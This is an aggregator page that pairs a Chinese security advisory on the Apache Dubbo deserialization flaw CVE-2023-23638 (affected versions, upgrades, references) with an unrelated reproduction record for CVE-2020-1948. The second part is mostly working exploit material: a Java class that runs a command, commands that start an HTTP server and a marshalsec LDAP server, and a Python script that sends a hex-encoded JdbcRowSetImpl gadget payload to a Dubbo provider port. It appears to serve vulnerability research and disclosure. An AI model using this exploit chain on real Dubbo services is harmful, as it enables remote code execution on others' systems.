Apache Dubbo 存在反序列化漏洞(CVE-2023-23638)

Posted 墨菲安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Apache Dubbo 存在反序列化漏洞(CVE-2023-23638)相关的知识,希望对你有一定的参考价值。

漏洞描述

Apache Dubbo 是一款轻量级 Java RPC 框架

该项目受影响版本存在反序列化漏洞,由于Dubbo在序列化时检查不够全面,当攻击者可访问到dubbo服务时,可通过构造恶意请求绕过检查触发反序列化,执行恶意代码

漏洞名称Apache Dubbo 存在反序列化漏洞
漏洞类型反序列化
发现时间2023/3/8
漏洞影响广度一般
MPS编号MPS-2023-1779
CVE编号CVE-2023-23638
CNVD编号-

影响范围

org.apache.dubbo:dubbo-common@[2.7.0, 2.7.22)

org.apache.dubbo:dubbo-common@[3.0.0, 3.0.14)

org.apache.dubbo:dubbo-qos@[3.1.0, 3.1.6)

修复方案

将组件 org.apache.dubbo:dubbo-qos 升级至 3.1.6 及以上版本

将组件 org.apache.dubbo:dubbo-common 升级至 2.7.22 及以上版本

将组件 org.apache.dubbo:dubbo-common 升级至 3.0.14 及以上版本

参考链接

https://www.oscs1024.com/hd/MPS-2023-1779

https://nvd.nist.gov/vuln/detail/CVE-2023-23638

https://cn.dubbo.apache.org/zh-cn/overview/mannual/java-sdk/advanced-features-and-usage/security/class-check/

https://github.com/apache/dubbo/commit/6e5c1f8665216ccda4b2eb8c0465882efe62dd61

https://github.com/apache/dubbo/commit/ce3b0e285a463b566a9d685049201bfaf526c8ac#diff-fa4e0fb5d923710d8f070b478addd5e3638e101fdf9a3e32a855f429f90eed09

https://github.com/apache/dubbo/commit/4f664f0a3d338673f4b554230345b89c580bccbb

关于墨菲安全

墨菲安全是一家为您提供专业的软件供应链安全管理的科技公司,核心团队来自百度、华为、乌云等企业,公司为客户提供完整的软件供应链安全管理平台,围绕SBOM提供软件全生命周期的安全管理,平台能力包括软件成分分析、源安全管理、容器镜像检测、漏洞情报预警及商业软件供应链准入评估等多个产品。为客户提供从供应链资产识别管理、风险检测、安全控制、一键修复的完整控制能力。
开源项目:https://github.com/murphysecurity/murphysec/?sf=qbyj

产品可以极低成本的和现有开发流程中的各种工具一键打通,包括 IDE、Gitlab、Bitbucket、Jenkins、Harbor、Nexus 等数十种工具无缝集成。
免费代码安全检测工具: https://www.murphysec.com/?sf=qbyj
免费情报订阅: https://www.oscs1024.com/cm/?sf=qbyj

Apache dubbo(CVE-2020-1948)漏洞复现记录


Apache DubboProvider默认反序列化远程代码执行漏洞(CVE-2020-1948)会影响所有使用2.7.6或更低版本的Dubbo用户,攻击者可以发送带有无法识别的服务名或方法名的RPC远程方法请求,以及一些恶意的参数负载。当恶意参数被反序列化时,它将执行一些恶意代码,进而执行恶意命令,非法控制系统,以下为漏洞复现记录。

  1. 运行dubbo demo:



2.编译exp:

public class ExploitMac{

        public  ExploitMac()

                 {

                 try

                         {

                         java.lang.Runtime.getRuntime().exec("calc");

                         }

                         catch(java.io.IOException  e)

                         {

                         e.printStackTrace();

                         }

                         }

                         }

这里执行命令calc弹出计算器:

Apache dubbo(CVE-2020-1948)漏洞复现记录



编译javac ExploitMac.java

Apache dubbo(CVE-2020-1948)漏洞复现记录


3.exp开启http服务:

python3-m http.server 8088

Apache dubbo(CVE-2020-1948)漏洞复现记录


4. 开启LDAP服务

java-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://127.0.0.1:8088/#ExploitMac 8087


https://github.com/mbechler/marshalsec

5.构造执行payload

import socket

import time

import re

 

def sendEvilObjData(sock): 

     payload="dabbc2000000000000000000000003b705322e302e3230366f72672e6170616368652e647562626f2e737072696e672e626f6f742e64656d6f2e636f6e73756d65722e44656d6f5365727669636505312e302e300a636f6d6d6f6e54657374124c6a6176612f6c616e672f4f626a6563743b48433027636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e457175616c734265616e92036f626a096265616e436c61737360433029636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e546f537472696e674265616e92036f626a096265616e436c61737361431d636f6d2e73756e2e726f777365742e4a646263526f77536574496d706cac06706172616d73096c697374656e657273036d61700a6368617253747265616d0b617363696953747265616d0d756e69636f646553747265616d0c62696e61727953747265616d0f7374724d61746368436f6c756d6e730d694d61746368436f6c756d6e73057265734d4406726f77734d4402727302707304636f6e6e09666574636853697a650866657463684469720969736f6c6174696f6e1065736361706550726f63657373696e6708726561644f6e6c790b636f6e63757272656e63790c6d61784669656c6453697a65076d6178526f77730c717565727954696d656f75740b73686f7744656c657465640a726f77536574547970650a64617461536f757263650355524c07636f6d6d616e64624d136a6176612e7574696c2e486173687461626c655a4e4e4e4e4e4e56106a6176612e7574696c2e566563746f729a03666f6f4e4e4e4e4e4e4e4e4e56919a8f8f8f8f8f8f8f8f8f8f4e4e4e4e4e90cbe8925454cbf090909046cbec1d6c6461703a2f2f3132372e302e302e313a383038372f4578706c6f69744e4e430f6a6176612e6c616e672e436c61737391046e616d65631d636f6d2e73756e2e726f777365742e4a646263526f77536574496d706c633029636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e546f537472696e674265616e5191519151915a48047061746830366f72672e6170616368652e647562626f2e737072696e672e626f6f742e64656d6f2e636f6e73756d65722e44656d6f536572766963651272656d6f74652e6170706c69636174696f6e3024647562626f2d6175746f2d636f6e6669677572652d636f6e73756d65722d73616d706c6509696e7465726661636530366f72672e6170616368652e647562626f2e737072696e672e626f6f742e64656d6f2e636f6e73756d65722e44656d6f536572766963650776657273696f6e05312e302e305a"

 

     sock.send(payload.decode('hex'))

def run(dip,dport):

     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

     server_addr = (dip, dport)

     sock.connect(server_addr)

     sendEvilObjData(sock)

 

run("127.0.0.1",12345)

其中run传入IP和dubbo的provider端口:

成功弹出计算器。


以上是关于Apache Dubbo 存在反序列化漏洞(CVE-2023-23638)的主要内容,如果未能解决你的问题,请参考以下文章

有关Apache dubbo反序列化漏洞的复现及思考

Apache dubbo(CVE-2020-1948)漏洞复现记录

Dubbo反序列化(CVE-2020-1948)绕过之二

Dubbo反序列化漏洞(CVE-2019-17564) 重现

安装dubbo 2.7.8防御CVE-2020-1948反序列化及后反序列化

技术研究 | Dubbo反序列化漏洞分析 (CVE-2020-1948)